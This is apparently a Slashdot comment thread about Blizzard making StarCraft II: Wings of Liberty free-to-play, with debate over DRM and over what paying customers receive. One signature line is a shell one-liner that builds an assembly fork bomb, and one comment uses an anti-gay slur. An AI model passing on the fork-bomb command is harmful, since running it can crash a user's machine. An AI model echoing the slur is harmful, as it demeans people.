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'Starcraft II' Goes Free-to-Play on Tuesday (techcrunch.com)
An anonymous reader quotes TechCrunch:
It was only in April that Blizzard made the original StarCraft free to play, and now the company has done the same for its sequel. StarCraft 2: Wings of Liberty, which is certainly the most-played real-time strategy game ever made, will be free for anyone to play starting on November 14. Of course there's a catch, but nothing nefarious. The game was divided into three episodes, each focusing on one of the three playable races (Human, Zerg and Protoss -- but you knew that), and only the first (the human one) will be available for free. If you already own Wings of Liberty (as the episode is called) you can also get the Heart of the Swarm chapter for free by logging in and claiming it before December 8.
TechCrunch calls it "a good way to onboard new players who just never wanted to pay full price to find out if they liked it."
TechCrunch calls it "a good way to onboard new players who just never wanted to pay full price to find out if they liked it."
Zerg rush! Zerg rush!
I'm in ur base killing ur doodz!
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
At this point the only people that really want to play this game and are willing to put up with Blizzards intrusive DRM scheme have already bought the game. So why in the hell should I waste my time with a game that has a feature that's a non-starter to begin with?
Well now i'll never play it.
Kind of like paying to see a movie in theaters only to see it on tv 5 years later.
If you dont understand that paying granted the 5 year jump on everyone else...... I cant help you
What if you supported Blizzard by paying for both "Wings of Liberty" and "Heart of the Swarm"? You get nothing?
You got several years of enjoyment and earlier access?
You get to enjoy ripping those noobs starting out now a new one with your vast amounts of experience, is that nothing?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
What if you supported Blizzard by paying for both "Wings of Liberty" and "Heart of the Swarm"? You get nothing?
That's how I read it. You'd think they'd give actual customers something to make up for it, but it was probably too lofty a concept for them to consider.
Just cruising through this digital world at 33 1/3 rpm...
"...so long as they bother to support the authentication and matchmaking servers, anyway"
Exactly. At some point they'll make a business decision to stop supporting the game and *poof*, it's gone.
Unless the unimaginable happens and they allow other people to set up servers for game play...possible but not probable.
Just cruising through this digital world at 33 1/3 rpm...
Their actual customers get to see a fresh influx of new players, keeping the ecosystem healthy for a at least a few more years?
I bought these two on clearance at Walmart not but a couple of months ago. I wonder if this is the reason. Of course Legacy of the void was full price, so I haven't bought that one yet
"When life gives you lemons, don't make lemonade. Make life take the lemons back!" -- Cave Johnson
> most-played real-time strategy game ever made
*citation needed*
Do I get the Nova episode for free or am I screwed because I was too loyal a Blizzard customer?
The Blizzard End User License Agreement has all sorts of nuggets, like their Consent to Monitor: "... THE PLATFORM ... MAY MONITORY YOUR COMPUTER ... MEMORY FOR UNAUTHORIZED THIRD PARTY PROGRAMS ..."
What can go wrong?
When team fortress 2 went free to play they gave everyone who had purchased the game a virtual hat. I like hats
Good comparison.
Gamers have become such entitled little kids. I'm surprised to see that attitude pop up even here. There are plenty of times where game companies screw people over, but giving out games for free is definitely not one of them...
StarCraft II is great. I've bought all the campaigns and expansions and I don't regret it at all. It'll be great to get some new players on.
Not free.
sigs are for fags
I can tell from your post that you haven't played Starcraft II before.
If Warner Brothers gave away the movie "Batman Begins", would you be scorning them for not giving away "The Dark Knight" and "The Dark Knight Rises" too along with it?
I've played Starcraft II - Wings of Liberty, and I can tell you I have gotten far more enjoyment out of it than of a lot of similarly priced games. I never felt during gameplay that it was missing some elements. It's an excellent game which got stellar reviews when it came out, and it can now be played for free. I could barely believe it when I received the Heart of the Swarm this week, and after playing it most of the day, it feels like a great gift.
TLDR: You have no idea what you're talking about.
It seems rather obvious to me that your course of action was by no means altruistic if THAT is an issue for you now.
something to make up for it
Make up for what? What games have you been playing for longer than 7 years? Which of those games are still supported?
if you're STILL playing Starcraft II then you should be happy with the renewed adrenaline shot it just got as it was slowly decaying.
In this world of abandoning things early and locking out customers Blizzard just showed how much they value customers still attached to older games through support of not the franchise, but the actual old game itself.
Ubisoft is giving away Watchdogs1 for free this week and that has only been out for 3 years. SC2 came out over 7 years ago.
Maybe things have changed, but what turned me off after initially playing maybe the first 6mos was mostly the playerbase, but also partly the gameplay just not being as rewarding and skill-based as SC1. Even into high Platinum I was still facing 75% cheese strats where you thwart it and they quit the game immediately. It just wasn't fun, and I didn't have the time to dedicate to the game to keep my ELO in Diamond as there was a certain level of atrophy or inflation to maintain your position on the ladder. The management also was rather "faux micro" ... it has the appearance of doing all this micromanagement, but it was really mindless busywork. In hindsight it reminds me of the inane APM in LoL to make up for archaic imprecise controls.
"Starcraft II is our secret weapon against Koreans. They'll sit in an internet cafe and play it for 100 hours straight and when they stand up they'll fucking DIE"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Their actual customers get to see a fresh influx of new players, keeping the ecosystem healthy for a at least a few more years?
That would be great if it happens. I suspect that a lot of the current users still won't be happy with this outcome
Just cruising through this digital world at 33 1/3 rpm...
if you're STILL playing Starcraft II then you should be happy with the renewed adrenaline shot it just got as it was slowly decaying.
That would be great if it happens. I suspect that a lot of the current users still won't be happy with this outcome. (I don't play Starcraft, so I don't have any stake in this either way.)
Just cruising through this digital world at 33 1/3 rpm...
I don't play Starcraft, so I don't have any stake in this either way.
Just cruising through this digital world at 33 1/3 rpm...
What if you supported Blizzard by paying for both "Wings of Liberty" and "Heart of the Swarm"? You get nothing?
FTFA: "For those of you who have already purchased any of the three campaigns as of October 31, we’ll soon be sending you a small thank-you in the form of an exclusive Ghost skin as well as three new portraits."